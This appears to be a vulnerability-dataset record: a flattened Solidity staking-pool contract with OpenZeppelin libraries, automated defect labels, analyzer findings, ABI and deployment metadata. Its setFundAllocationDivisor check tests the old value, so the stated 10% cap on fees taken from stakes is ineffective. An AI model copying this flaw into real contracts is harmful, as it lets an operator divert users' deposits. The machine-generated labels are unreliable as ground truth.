0xe4cd1153a3ccc2fe34c5426d96044cc505e6a667
Solidity
// File: contracts/distribution/RFSETHSharePool.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/Math.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '../interfaces/IShare.sol'; import "../owner/Operator.sol"; import "./StakeToken.sol"; contract RFSETHSharePool is StakeToken, Operator { IShare public share; uint256 public constant REWARD_ALLOCATION = 250000 * 10 ** 18; uint256 public constant DURATION = 365 days; uint256 public startTime; uint256 public periodFinish; uint256 public rewardRate; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; address public fund; uint256 public fundAllocationDivisor = 10; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor(address _share, address _token, uint256 _startTime) public { share = IShare(_share); token = IERC20(_token); startTime = _startTime; notifyRewardAmount(REWARD_ALLOCATION); fund = msg.sender; } modifier checkStart() { require(block.timestamp >= startTime, 'Share Pool: not start'); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function setFund(address newFund) external onlyOperator { fund = newFund; } function setFundAllocationDivisor(uint256 newDivisor) external onlyOperator { require(fundAllocationDivisor >= 10, 'Invalid divisor'); // Max. 10% fundAllocationDivisor = newDivisor; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'SharePool: Cannot stake 0'); uint256 fundReserve = amount.div(fundAllocationDivisor); amount = amount.sub(fundReserve); token.transferFrom(msg.sender, fund, fundReserve); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'SharePool: Cannot withdraw 0'); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; IShare(share).withdraw(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) private updateReward(address(0)) { if (block.timestamp > startTime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = startTime; periodFinish = startTime.add(DURATION); emit RewardAdded(reward); } } } // File: @openzeppelin/contracts/math/Math.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/interfaces/IShare.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IShare is IERC20 { function withdraw(address recipient, uint256 amount) external; function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256); function tokenFromReflection(uint256 rAmount) external view returns (uint256); function reflect(uint256 tAmount) external; } // File: contracts/owner/Operator.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/GSN/Context.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; contract Operator is Context, Ownable { address private _operator; event OperatorTransferred( address indexed previousOperator, address indexed newOperator ); constructor() internal { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); } function operator() public view returns (address) { return _operator; } modifier onlyOperator() { require( _operator == msg.sender, 'operator: caller is not the operator' ); _; } function isOperator() public view returns (bool) { return _msgSender() == _operator; } function transferOperator(address newOperator_) public onlyOwner { _transferOperator(newOperator_); } function _transferOperator(address newOperator_) internal { require( newOperator_ != address(0), 'operator: zero address given for new operator' ); emit OperatorTransferred(address(0), newOperator_); _operator = newOperator_; } } // File: contracts/distribution/StakeToken.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; contract StakeToken { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public virtual { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); token.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public virtual { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); token.safeTransfer(msg.sender, amount); } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
[{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["148", "143", "147"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["759"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["849", "864", "876", "729", "733", "725"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["139", "140", "72", "48"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/GSN/Context.sol": [20, 21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [56, 57, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [35, 36, 37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [64, 65, 66, 67, 63]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/GSN/Context.sol": [3]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/GSN/Context.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 138, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 873, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 165, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 201, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 365, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 447, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 593, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 673, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 695, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 749, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 791, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 820, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 701, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 761, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 762, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 836, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 609, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 756, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 470, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 613, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 617, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 635, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 640, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 645, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 497, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 497, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 497, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 501, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 501, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 501, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_share","type":"address"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_startTime","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOperator","type":"address"},{"indexed":true,"internalType":"address","name":"newOperator","type":"address"}],"name":"OperatorTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardPaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"DURATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"REWARD_ALLOCATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"earned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"exit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAllocationDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastTimeRewardApplicable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastUpdateTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodFinish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPerTokenStored","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newFund","type":"address"}],"name":"setFund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newDivisor","type":"uint256"}],"name":"setFundAllocationDivisor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"share","outputs":[{"internalType":"contract IShare","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOperator_","type":"address"}],"name":"transferOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userRewardPerTokenPaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
true
200
00000000000000000000000098987a4fd2ca9eb06c06b82199fd69ba8e0bbebb00000000000000000000000039c943377e47b45c158e6cb371065ef1906ee4ca000000000000000000000000000000000000000000000000000000005ffdd590
Default
false
NoKiacToken
0x64704e92440ee2f94d2cc2f4b8b662a292cb7b3b
Solidity
